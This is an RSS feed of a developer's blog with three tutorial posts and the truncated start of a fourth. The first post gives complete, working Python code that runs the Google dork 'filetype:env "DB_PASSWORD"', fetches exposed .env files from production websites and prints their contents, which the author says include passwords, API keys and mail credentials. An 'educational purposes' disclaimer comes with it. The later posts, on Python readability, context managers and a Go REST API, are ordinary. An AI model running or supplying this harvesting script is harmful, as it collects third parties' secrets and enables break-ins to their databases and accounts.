<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Vojko Pribudić - Blog]]></title><description><![CDATA[A passionate backend developer with experience of building applications with Python / PHP / Go and many more.]]></description><link>https://blog.vojko.dev</link><generator>RSS for Node</generator><lastBuildDate>Tue, 09 Jun 2026 20:17:05 GMT</lastBuildDate><atom:link href="https://blog.vojko.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Create a simple exploit with Python]]></title><description><![CDATA[In this article we will create a simple exploit with Python.
NOTE: Since the entire code snippet is not that long, no final code will be provided on GitLab this time.

Foreword
This article is STRICTLY for educational purposes. All the information in...]]></description><link>https://blog.vojko.dev/create-a-simple-exploit-with-python</link><guid isPermaLink="true">https://blog.vojko.dev/create-a-simple-exploit-with-python</guid><category><![CDATA[Python]]></category><category><![CDATA[BeautifulSoup]]></category><category><![CDATA[HTML]]></category><category><![CDATA[exploit]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Mon, 12 Sep 2022 22:06:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1663017582956/qvkJ3Uuko.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>In this article we will create a simple exploit with Python.</p>
<p><strong>NOTE</strong>: Since the entire code snippet is not that long, no final code will be provided on GitLab this time.</p>
</blockquote>
<h2 id="heading-foreword">Foreword</h2>
<p><strong>This article is STRICTLY for educational purposes. All the information inside the article is deemed public data and no illegal methods were used in order to obtain this information.</strong></p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>Some prerequisites before you get started:</p>
<ul>
<li><p><a target="_blank" href="https://www.python.org/downloads/">Python 3</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/aiohttp/">aiohttp</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/beautifulsoup4/">beautifulsoup4</a></p>
</li>
</ul>
<p>Usage of <a target="_blank" href="https://docs.python.org/3/library/venv.html"><strong>venv</strong></a> is strongly recommended to keep your python packages separated from your host machine.</p>
<h2 id="heading-1-exploit">1. Exploit?</h2>
<p>Exploit by definition:</p>
<blockquote>
<p>Exploit - to use someone or something unfairly for your advantage</p>
</blockquote>
<p>Not helpful in our case. While this might apply as a <em>general</em> term in any sort of business/life event, we need a better definition for coding related world.</p>
<blockquote>
<p>Exploit - code that takes advantage of a software vulnerability or security flaw</p>
</blockquote>
<p>Much better. Well, let me tell your right off the bat - we will <strong>not</strong> explore any software vulnerability or security flaw. We will create a code that will give us <strong>publicly available information</strong> about sensitive data that <strong>MAY</strong> be used to inflict certain damage - which we won't do :)</p>
<h3 id="heading-11-what-are-we-creating">1.1 What are we creating?</h3>
<p>Good question, glad you asked. When you develop an application - in most cases, you will create a <code>.env</code> file that will support (bootstrap) your application with environment variables. Well, some people tend to deploy these files along with the application on a production server instead of using tools like <a target="_blank" href="https://www.vaultproject.io/">Vault</a> for example.</p>
<p>Keep in mind that this may be a good practice <strong>IF</strong> you do some protective measures. This file has to be <a target="_blank" href="https://www.devopsschool.com/blog/how-to-protect-env-file-in-laravel/">hidden from the public view</a>!</p>
<p>Some people don't take this seriously, which is quite unfortunate for them.</p>
<p>This information is what we will be exploiting today.</p>
<h2 id="heading-2-python-app">2. Python app</h2>
<p>Create a <strong>new Python project</strong> and along with it create a new <strong>venv</strong> that will hold our Python packages. Install the required Python packages:</p>
<pre><code>pip <span class="hljs-keyword">install</span> aiohttp
pip <span class="hljs-keyword">install</span> beautifulsoup4
</code></pre><p>We will need to search the internet (Google) for this - I will say it one more time - publicly available information. We will want to create some <strong>GET requests</strong>:</p>
<pre><code class="lang-python"><span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_response</span>(<span class="hljs-params">url: str, session: ClientSession</span>) -&gt; ClientResponse:</span>
    resp: ClientResponse = <span class="hljs-keyword">await</span> session.get(
        url,
        headers={
            <span class="hljs-string">"User-Agent"</span>: <span class="hljs-string">"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"</span>
        },
        ssl=<span class="hljs-literal">False</span>,
    )
    resp.raise_for_status()
    <span class="hljs-keyword">return</span> resp
</code></pre>
<p>Looking good eh? We will send an async (if you don't know how to make use of async, check it out <a target="_blank" href="https://blog.vojko.dev/get-started-with-asynchronous-programming-in-python">here</a>) request and try to get the response (raise Exception if something goes wrong). We will also try to avoid certain sites from blocking us by making use of the custom <code>User-Agent</code> header.</p>
<p>Next step, we need to submit a google search query and convert the response into a <code>BeautifulSoup</code> object:</p>
<pre><code class="lang-python"><span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_google_search</span>(<span class="hljs-params">query: str, session: ClientSession</span>) -&gt; BeautifulSoup:</span>
    response: ClientResponse = <span class="hljs-keyword">await</span> _get_response(
        <span class="hljs-string">f"https://google.com/search?q=<span class="hljs-subst">{query}</span>"</span>, session
    )
    <span class="hljs-keyword">return</span> BeautifulSoup(<span class="hljs-keyword">await</span> response.text(), <span class="hljs-string">"html.parser"</span>)
</code></pre>
<p>So, once the search results are in, and we have our HTML (<code>await response.text()</code>) we want to convert it to a soup object which means that Python will be able to <strong>understand and search</strong> the HTML code.</p>
<p>Next - get a list of wanted results:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_results_list</span>(<span class="hljs-params">soup: BeautifulSoup, session: ClientSession</span>) -&gt; list:</span>
    results: list = []
    blacklist: list[str] = [<span class="hljs-string">"github"</span>, <span class="hljs-string">"gitlab"</span>, <span class="hljs-string">"bitbucket"</span>]
    <span class="hljs-keyword">for</span> a <span class="hljs-keyword">in</span> soup.find_all(<span class="hljs-string">"a"</span>, href=<span class="hljs-literal">True</span>):
        url: str = a[<span class="hljs-string">"href"</span>]
        <span class="hljs-keyword">if</span> any(x <span class="hljs-keyword">in</span> url <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> blacklist) <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> url.endswith(<span class="hljs-string">".env"</span>):
            <span class="hljs-keyword">continue</span>
        results.append(_get_response(url, session))
    <span class="hljs-keyword">return</span> results
</code></pre>
<p>Some devs tend to push the development <code>.env</code> files to git repository hosters (GitHub, ...) so we are not interested in those. We put them inside the <code>blacklist</code> list.</p>
<p>Now we want to iterate through all of the google search results that contain the links (<code>a</code> tag in HTML) and take every single URL that does not contain elements from the <code>blacklist</code> list and also ends with <code>.env</code>. So we will filter out something like this:</p>
<p><code>https://github.com/some-repo/.env</code></p>
<p>But we are interested in something like this:</p>
<p><code>https://some-production-site.com/.env</code></p>
<p>Once we find our targets, we append them inside the <code>results</code> list with an available callback <code>_get_response</code> for that specific URL.</p>
<p>The final step is to put it all together:</p>
<pre><code class="lang-python"><span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exploit</span>(<span class="hljs-params">query: str</span>) -&gt; <span class="hljs-keyword">None</span>:</span>
    session: ClientSession = ClientSession()
    <span class="hljs-keyword">try</span>:
        soup: BeautifulSoup = <span class="hljs-keyword">await</span> _google_search(query, session)
        results: list = _get_results_list(soup, session)
        <span class="hljs-keyword">for</span> resp <span class="hljs-keyword">in</span> <span class="hljs-keyword">await</span> asyncio.gather(*results):
            content = <span class="hljs-keyword">await</span> resp.read()
            print(<span class="hljs-string">"======== START ========"</span>)
            print(content.decode())
            print(<span class="hljs-string">"========  END  ========"</span>)
    <span class="hljs-keyword">finally</span>:
        <span class="hljs-keyword">await</span> session.close()


asyncio.run(exploit(<span class="hljs-string">'filetype:env "DB_PASSWORD"'</span>))
</code></pre>
<p>The exploit coroutine will firstly create a new async session to be used, then we will submit a google search for the given term (the one that will find the sensitive info) which will return a google search HTML with the vulnerable data. We will then get the <code>results</code> list by applying certain filters to all the results that were returned (<code>_get_results_list</code> method) and then we will get the content of each of these targeted sites (the content of the <code>.env</code> files of each URL from the <code>results</code> list) and print it out. Finally, we will close the session when it is no longer needed.</p>
<p>The most important part here is the google search query <code>filetype:env "DB_PASSWORD"</code>.</p>
<p>We are searching only for a certain file type (<code>.env</code>) that contains certain information inside it (<code>DB_PASSWORD</code>).</p>
<h3 id="heading-21-full-code">2.1 Full code</h3>
<p>For the lazy ones :P</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> asyncio

<span class="hljs-keyword">from</span> aiohttp <span class="hljs-keyword">import</span> ClientResponse, ClientSession
<span class="hljs-keyword">from</span> bs4 <span class="hljs-keyword">import</span> BeautifulSoup


<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_response</span>(<span class="hljs-params">url: str, session: ClientSession</span>) -&gt; ClientResponse:</span>
    resp: ClientResponse = <span class="hljs-keyword">await</span> session.get(
        url,
        headers={
            <span class="hljs-string">"User-Agent"</span>: <span class="hljs-string">"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"</span>
        },
        ssl=<span class="hljs-literal">False</span>,
    )
    resp.raise_for_status()
    <span class="hljs-keyword">return</span> resp


<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_google_search</span>(<span class="hljs-params">query: str, session: ClientSession</span>) -&gt; BeautifulSoup:</span>
    response: ClientResponse = <span class="hljs-keyword">await</span> _get_response(
        <span class="hljs-string">f"https://google.com/search?q=<span class="hljs-subst">{query}</span>"</span>, session
    )
    <span class="hljs-keyword">return</span> BeautifulSoup(<span class="hljs-keyword">await</span> response.text(), <span class="hljs-string">"html.parser"</span>)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_results_list</span>(<span class="hljs-params">soup: BeautifulSoup, session: ClientSession</span>) -&gt; list:</span>
    results: list = []
    blacklist: list[str] = [<span class="hljs-string">"github"</span>, <span class="hljs-string">"gitlab"</span>, <span class="hljs-string">"bitbucket"</span>]
    <span class="hljs-keyword">for</span> a <span class="hljs-keyword">in</span> soup.find_all(<span class="hljs-string">"a"</span>, href=<span class="hljs-literal">True</span>):
        url: str = a[<span class="hljs-string">"href"</span>]
        <span class="hljs-keyword">if</span> any(x <span class="hljs-keyword">in</span> url <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> blacklist) <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> url.endswith(<span class="hljs-string">".env"</span>):
            <span class="hljs-keyword">continue</span>
        results.append(_get_response(url, session))
    <span class="hljs-keyword">return</span> results


<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exploit</span>(<span class="hljs-params">query: str</span>) -&gt; <span class="hljs-keyword">None</span>:</span>
    session: ClientSession = ClientSession()
    <span class="hljs-keyword">try</span>:
        soup: BeautifulSoup = <span class="hljs-keyword">await</span> _google_search(query, session)
        results: list = _get_results_list(soup, session)
        <span class="hljs-keyword">for</span> resp <span class="hljs-keyword">in</span> <span class="hljs-keyword">await</span> asyncio.gather(*results):
            content = <span class="hljs-keyword">await</span> resp.read()
            print(<span class="hljs-string">"======== START ========"</span>)
            print(content.decode())
            print(<span class="hljs-string">"========  END  ========"</span>)
    <span class="hljs-keyword">finally</span>:
        <span class="hljs-keyword">await</span> session.close()


asyncio.run(exploit(<span class="hljs-string">'filetype:env "DB_PASSWORD"'</span>))
</code></pre>
<h2 id="heading-closing-words">Closing words</h2>
<p>We <strong>did not do any illegal hacking</strong> with this simple exploit. We can't even call it an exploit since everything we did here is available publicly, we just know what to search for - right?</p>
<p>With that being said, once you execute this code, you will see <strong>some sensitive information being printed out</strong> like passwords, API keys, mail credentials, etc.</p>
<p><strong>BE A GOOD GUY, NOT AN A**HOLE</strong> - help these devs to fix their security holes and let them know something is wrong on their site.</p>
<p>If you don't want to be the good guy, well, cybercrime is a serious offense so keep that in mind :)</p>
<p>As always, thanks for reading!</p>
]]></content:encoded></item><item><title><![CDATA[Five simple tips to make your Python code more readable and optimized]]></title><description><![CDATA[Is my code good enough? It works, but can it be more optimized? Can I shorten it a bit? Is it readable? Well - we all ask these kinds of questions at all stages of our developer careers. I will share some easy tips with you on how you can improve you...]]></description><link>https://blog.vojko.dev/five-simple-tips-to-make-your-python-code-more-readable-and-optimized</link><guid isPermaLink="true">https://blog.vojko.dev/five-simple-tips-to-make-your-python-code-more-readable-and-optimized</guid><category><![CDATA[Python]]></category><category><![CDATA[code]]></category><category><![CDATA[optimization]]></category><category><![CDATA[clean code]]></category><category><![CDATA[development]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Sun, 03 Jul 2022 17:43:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1656869989870/o1NFIWg5v.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Is my code good enough? It works, but can it be more optimized? Can I shorten it a bit? Is it readable? Well - we all ask these kinds of questions at all stages of our developer careers. I will share some easy tips with you on how you can improve your code style in Python.</p>
</blockquote>
<h2 id="heading-1-use-exit-conditions">1. Use exit conditions</h2>
<p><em>&gt; What are exit conditions?</em></p>
<p>Good question :) Exit conditions are the ones that we make use of when we <strong>DON'T</strong> want something to happen. They are very handy in order to keep our code simple rather than nesting it with unnecessary indentations.</p>
<p>Imagine that you have to check if the number inside of a list is even and then check if it is smaller than 10 - if it is then check if it is number 2.</p>
<p>Now you might be thinking - hey I can do this huge condition and put it all together - and you are right, but this is a simple example, imagine if you had five more conditions along with the ones I gave. Your code <strong>readability would drop</strong> significantly :)</p>
<p>Instead, we can make use of exit conditions.</p>
<pre><code class="lang-python">lst: list[int] = [<span class="hljs-number">1</span>, <span class="hljs-number">4</span>, <span class="hljs-number">6</span>, <span class="hljs-number">8</span>, <span class="hljs-number">2</span>, <span class="hljs-number">10</span>]

<span class="hljs-keyword">for</span> el <span class="hljs-keyword">in</span> lst:
    <span class="hljs-keyword">if</span> el % <span class="hljs-number">2</span> != <span class="hljs-number">0</span>:
        <span class="hljs-keyword">continue</span>
    <span class="hljs-keyword">if</span> el &gt; <span class="hljs-number">10</span>:
        <span class="hljs-keyword">continue</span>
    <span class="hljs-keyword">if</span> el != <span class="hljs-number">2</span>:
        <span class="hljs-keyword">continue</span>
    print(<span class="hljs-string">"2"</span>)
</code></pre>
<p>We continued the loop if any of the given conditions were not met. Once we get to the <code>print</code> statement, <strong>we know for a fact that every other condition was met</strong> and that our number is actually number 2. No code nesting occurred :)</p>
<h2 id="heading-2-function-returns">2. Function returns</h2>
<p>Similar to the above, this one is also related to the <strong>unnecessary code nesting</strong>.</p>
<p>Let's say that your function has to return "even" if the number is even and "odd" if it is not even. What some people would do is something like this:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check_number</span>(<span class="hljs-params">number: int</span>) -&gt; str:</span>
    <span class="hljs-keyword">if</span> number % <span class="hljs-number">2</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">"even"</span>
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">"odd"</span>
</code></pre>
<p>While this will work, we can do a little tweak to optimize it:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check_number</span>(<span class="hljs-params">number: int</span>) -&gt; str:</span>
    <span class="hljs-keyword">if</span> number % <span class="hljs-number">2</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">"even"</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"odd"</span>
</code></pre>
<p>Notice how we can make use of the <code>return</code> statement to match any other condition than one that we put next to the <code>if</code> statement. So if the given number is not even, we automatically return "odd".</p>
<p>BONUS - we can also do a one-liner but it might mess up readability:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check_number</span>(<span class="hljs-params">number: int</span>) -&gt; str:</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"even"</span> <span class="hljs-keyword">if</span> number % <span class="hljs-number">2</span> == <span class="hljs-number">0</span> <span class="hljs-keyword">else</span> <span class="hljs-string">"odd"</span>
</code></pre>
<h2 id="heading-3-type-hinting">3. Type hinting</h2>
<p>You may have noticed that in the above examples I used type hints. For example <code>number: int</code>. We know for a fact that Python is a dynamically typed language which means that <strong>we DON'T have to</strong> specify the variable type upon declaration and that variable type can change during the code execution. What was once an integer could become a list and so on.</p>
<p><strong>&gt; Why would I do it then?</strong></p>
<p>To make everyone's life easier. Whoever picks up on where you left your code will not have to do a complete trace of the function calls or variable names in order to find what type that variable actually is (list, string, integer, ...).
Also, type hinting activates the autocomplete inside of your favorite IDE so it is way easier to develop for you too.</p>
<h2 id="heading-4-use-a-tuple-instead-of-a-list">4. Use a tuple instead of a list</h2>
<p>If you come across a situation where you know how many elements you have to store, and you won't need to change them - perhaps you should use <code>tuples</code> instead of <code>lists</code>.</p>
<p>Tuples store the exact number of elements and they can't be changed - which means <strong>smaller size</strong>. Lists, on the other hand, can be <code>extended</code> or <code>appended</code> which means they will allocate <strong>much more space than what is actually needed</strong>.</p>
<p>Speed is also a key component here :)</p>
<p>Take a look at the benchmark below:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> timeit

lst_code: str = <span class="hljs-string">"[1,2,3]"</span>
tup_code: str = <span class="hljs-string">"(1,2,3)"</span>

t1: float = timeit.timeit(lst_code, number=<span class="hljs-number">10000</span>)
t2: float = timeit.timeit(tup_code, number=<span class="hljs-number">10000</span>)

print(<span class="hljs-string">f"<span class="hljs-subst">{t1:<span class="hljs-number">.20</span>f}</span>"</span>)
print(<span class="hljs-string">f"<span class="hljs-subst">{t2:<span class="hljs-number">.20</span>f}</span>"</span>)
</code></pre>
<p>My output is:</p>
<pre><code class="lang-python"><span class="hljs-number">0.00023555899997518281</span>
<span class="hljs-number">0.00004893300001640455</span>
</code></pre>
<p>Huge difference in speed eh?</p>
<p><em>Keep in mind that this is a simple example and your production code might show different results.</em></p>
<h2 id="heading-5-context-managers">5. Context managers</h2>
<p>Recently I wrote about context managers, so in order not to repeat myself on all the benefits and examples of when/how/why to use them, please <a target="_blank" href="https://blog.vojko.dev/using-context-managers-in-python">click here</a> to read more.</p>
<h2 id="heading-6-conclusion">6. Conclusion</h2>
<p>I hope that some of these tips will be useful to you in your professional career advancement. Keep your code as clean as possible and as readable as you can. While code formatters and code linters can help to format your code, only you can make it readable and simple to understand.</p>
<p>Like always, thanks for reading :)</p>
]]></content:encoded></item><item><title><![CDATA[Using context managers in Python]]></title><description><![CDATA[If you ever used Python, most likely you used context managers without even knowing what they are and what they do or how they work - you just used them as per the documentation of some 3rd party package. In this article, I will try to explain what e...]]></description><link>https://blog.vojko.dev/using-context-managers-in-python</link><guid isPermaLink="true">https://blog.vojko.dev/using-context-managers-in-python</guid><category><![CDATA[Python]]></category><category><![CDATA[Python 3]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Tue, 17 May 2022 09:45:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1652475286272/7VKjlH3vW.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>If you ever used Python, most likely you used context managers without even knowing what they are and what they do or how they work - you just used them as per the documentation of some 3rd party package. In this article, I will try to explain what exactly are context managers and what are their benefits.</p>
</blockquote>
<h2 id="heading-1-context-managers-by-definition">1. Context managers (by definition)</h2>
<p>I hate to be a bookworm (I really do, trust me), but sometimes good old definitions come in handy. This is the case with <strong>context managers</strong>. So here it goes:</p>
<blockquote>
<p>Context managers are responsible for allocating and releasing resources when needed.</p>
</blockquote>
<p>Is a question mark popping up in your head? <strong>Expected</strong>. I will walk you with a practical example :)</p>
<h3 id="heading-11-practical-example-no-context-manager">1.1 Practical example - no context manager</h3>
<p>The idea is to open up a file with Python and read the file contents of that specific file. Let's take a look at the code below:</p>
<pre><code class="lang-python">file = open(<span class="hljs-string">"textfile.txt"</span>, <span class="hljs-string">"r"</span>)
file.read()
file.close()
</code></pre>
<p>Simple eh? We open up a file called <code>textfile.txt</code> in <code>read</code> mode (<code>r</code>) and we read all of the contents of that file by making use of the <code>read()</code> method. Once we are done with injecting the content inside of the memory (or a variable if you want), we close the file.</p>
<p>Now - imagine that you forgot to close the file. Now imagine that you work with tons of files and somehow forget to close all of them. This can lead to <strong>substantial resource leaks</strong> and you want to avoid that.</p>
<p>Enter context managers :)</p>
<h3 id="heading-12-practical-example-context-manager">1.2 Practical example - context manager</h3>
<p>The idea is once again to open up a file and read its contents. This time we will use context manager. The whole idea of a context manager is to do the following:</p>
<ul>
<li>Open up the resource (allocate it)</li>
<li>Do something with the resource</li>
<li>Close the resource once it is not needed anymore (release it)</li>
</ul>
<p>In Python, we use the context managers by making use of the <code>with</code> keyword. Let's see what the code looks like now:</p>
<pre><code class="lang-python"><span class="hljs-keyword">with</span> open(<span class="hljs-string">"textfile.txt"</span>, <span class="hljs-string">"r"</span>) <span class="hljs-keyword">as</span> file:
    file.read()
    <span class="hljs-comment"># some other code while the resource (file) is allocated</span>
</code></pre>
<p><strong>Similar, yet different</strong>. Where did the <code>file.close()</code> go? Funny that you ask - we <strong>don't need it</strong> anymore.</p>
<blockquote>
<p>But... but... you said that we need to close the file to avoid resource leaks bla bla...</p>
</blockquote>
<p>Yes, I did, and it is true. But what if I told you that context managers <strong>do that for you</strong>. In the above code, the resource (file) is opened as a variable called <code>file</code> in a read mode and is made available for usage (additional related code) inside of a block (indentation). Inside of that block, we read the file content. We can also do additional stuff with the file INSIDE of that block, BUT once we leave that block, the <strong>context manager will release the resource</strong> (in this case close the file) and we can no longer access it.</p>
<p>Handy eh? Let's see how it works under the hood.</p>
<h2 id="heading-2-context-manager-under-the-hood">2. Context manager under the hood</h2>
<p>Each object (in Python everything is an object) that wants to use context manager, by using the <code>with</code> keyword, has to implement two built-in methods - <code>__enter__</code> and <code>__exit__</code>.</p>
<p>For the above use case, if we were to create a custom context manager class it would look something like this:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> types <span class="hljs-keyword">import</span> TracebackType
<span class="hljs-keyword">from</span> typing <span class="hljs-keyword">import</span> IO, Optional, Type


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CustomClassFile</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, file_path: str, file_mode: str</span>) -&gt; <span class="hljs-keyword">None</span>:</span>
        self.file = open(file_path, file_mode)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__enter__</span>(<span class="hljs-params">self</span>) -&gt; IO:</span>
        <span class="hljs-keyword">return</span> self.file

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__exit__</span>(<span class="hljs-params">
        self,
        exc_type: Optional[Type[BaseException]],
        exc_value: Optional[BaseException],
        traceback: Optional[TracebackType],
    </span>) -&gt; <span class="hljs-keyword">None</span>
        self.file.close()


with CustomClassFile("textfile.txt", "r") as file:</span>
    file.read()
</code></pre>
<p>So, once we create a new instance of <code>CustomClassFile</code>, we pass the two arguments - <code>file_path</code> and <code>file_mode</code>. That is fairly simple.</p>
<p>Inside of the <code>__enter__</code> method is where we need to define the resource that we want to allocate once the context manager kicks in. In this case, it will be the <code>self.file</code> object.</p>
<p>The <code>__exit__</code> method signature is a bit weird, but <strong>I won't bother you with the details of it</strong>. All of those arguments are required by default - so whenever you will create the <code>__exit__</code> method, you would use this exact same signature. This is due to the ability to create your own exception handlers (if they occur) upon releasing the resource. What is important is that we call the <code>self.file.close()</code> method inside of the <code>__exit__</code> method. This means that once we get past the <code>with</code> block, the file will be closed automatically by the context manager :)</p>
<p>Let's see some more examples.</p>
<h3 id="heading-21-context-manager-as-a-class-by-example">2.1 Context manager as a class by example</h3>
<p>The idea here would be to create the custom class that will allocate not the file but rather the contents of a <code>JSON</code> file and releases the file afterward.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> json
<span class="hljs-keyword">from</span> types <span class="hljs-keyword">import</span> TracebackType
<span class="hljs-keyword">from</span> typing <span class="hljs-keyword">import</span> Any, IO, Optional, Type


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">JSONFileLoader</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, file_path: str</span>) -&gt; <span class="hljs-keyword">None</span>:</span>
        self.file: IO = open(file_path, <span class="hljs-string">"r"</span>)
        self.data: Any = json.load(self.file)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__enter__</span>(<span class="hljs-params">self</span>) -&gt; Any:</span>
        <span class="hljs-keyword">return</span> self.data

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__exit__</span>(<span class="hljs-params">
        self,
        exc_type: Optional[Type[BaseException]],
        exc_value: Optional[BaseException],
        traceback: Optional[TracebackType],
    </span>) -&gt; <span class="hljs-keyword">None</span>:</span>
        <span class="hljs-keyword">if</span> self.file:
            self.file.close()


<span class="hljs-keyword">with</span> JSONFileLoader(<span class="hljs-string">"file.json"</span>) <span class="hljs-keyword">as</span> json_data:
    print(json_data)
</code></pre>
<p>This time when we create a new instance of the <code>JSONFileLoader</code> we only pass one argument - <code>file_path</code>. The <code>__init__</code> method then also loads the json contents of the file inside of the <code>self.data</code> property.</p>
<p>The <code>__enter__</code> method will this time allocate the data (as per the idea above) instead of the file itself. That means that once we enter the context manager instead of the whole file like before we will only have the file data available.</p>
<p>The <code>__exit__</code> method remains the same as before - we just close the file.</p>
<pre><code class="lang-python"><span class="hljs-keyword">with</span> JSONFileLoader(<span class="hljs-string">"file.json"</span>) <span class="hljs-keyword">as</span> json_data:
    print(json_data)
</code></pre>
<p>See that now instead of the file, our <code>__enter__</code> method actually is returning the <code>self.data</code> property, which means that <code>json_data</code> is actually whatever is set inside of the <code>self.data</code> property. This makes it simple to just - for this example - print out the data. Once we leave the <code>with</code> block, <code>__exit__</code> will kick in and close the file for us.</p>
<h3 id="heading-22-context-manager-as-a-generator-by-example">2.2 Context manager as a generator by example</h3>
<p>This is an alternative approach to creating context managers in Python. <strong>If you don't know what generators are in Python, please take a moment to read about them</strong>.</p>
<p>Let's see how to make use of Python's <code>contextlib</code> module to solve the same idea as the one above.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> json
<span class="hljs-keyword">from</span> contextlib <span class="hljs-keyword">import</span> contextmanager
<span class="hljs-keyword">from</span> typing <span class="hljs-keyword">import</span> Any, Generator, IO


<span class="hljs-meta">@contextmanager</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">json_file_loader</span>(<span class="hljs-params">file_path: str</span>) -&gt; Generator[Any, <span class="hljs-keyword">None</span>, <span class="hljs-keyword">None</span>]:</span>
    file: IO = open(file_path, <span class="hljs-string">"r"</span>)
    data: Any = json.load(file)
    <span class="hljs-keyword">yield</span> data
    file.close()


<span class="hljs-keyword">with</span> json_file_loader(<span class="hljs-string">"file.json"</span>) <span class="hljs-keyword">as</span> json_data:
    print(json_data)
</code></pre>
<p>So the idea is that you will create a function and decorate it by using <code>@contextmanager</code> to mark it as a context manager for Python. We create a function that takes the <code>file_path</code> as an argument and it opens the file and loads it by using the <code>json.load()</code> method.
Once that is done, we <code>yield</code> the data. That means we will <code>pause</code> the execution of the code below from the function <code>json_file_loader</code> until we exit the context manager. This means that <code>file.close()</code> will execute ONLY after we exit the context manager as described below.</p>
<pre><code class="lang-python"><span class="hljs-keyword">with</span> json_file_loader(<span class="hljs-string">"file.json"</span>) <span class="hljs-keyword">as</span> json_data:
    <span class="hljs-comment"># inside of the context manager (yield kicked in)</span>
    print(json_data)
<span class="hljs-comment"># context manager exited which means that file.close() will execute</span>
</code></pre>
<h2 id="heading-3-benefits-of-using-context-managers">3. Benefits of using context managers</h2>
<p>So what would be the perks of using context managers?</p>
<ul>
<li>Reduce resource leaks</li>
<li>Reduce the number of lines of code</li>
<li>More power over what to expose inside of the <code>with</code> block</li>
<li>Multiple ways to implement</li>
<li>No need to worry about releasing the resources</li>
</ul>
<p>I hope you find those benefits handy and start to make use of context managers.</p>
<p>Like always, thanks for reading :)</p>
]]></content:encoded></item><item><title><![CDATA[Introduction to Go - Create your first REST API - Part 2]]></title><description><![CDATA[Last time I showed you how to build a simple book store REST API. This time I want to take it a step further and show you how to build an (almost) production-ready API with real database storage instead of an in-memory mock that we used. Also, I will...]]></description><link>https://blog.vojko.dev/introduction-to-go-create-your-first-rest-api-part-2</link><guid isPermaLink="true">https://blog.vojko.dev/introduction-to-go-create-your-first-rest-api-part-2</guid><category><![CDATA[Go Language]]></category><category><![CDATA[REST API]]></category><category><![CDATA[crud]]></category><category><![CDATA[http]]></category><category><![CDATA[code]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Mon, 07 Mar 2022 22:01:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1646675049208/2YWOQ7gwx.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
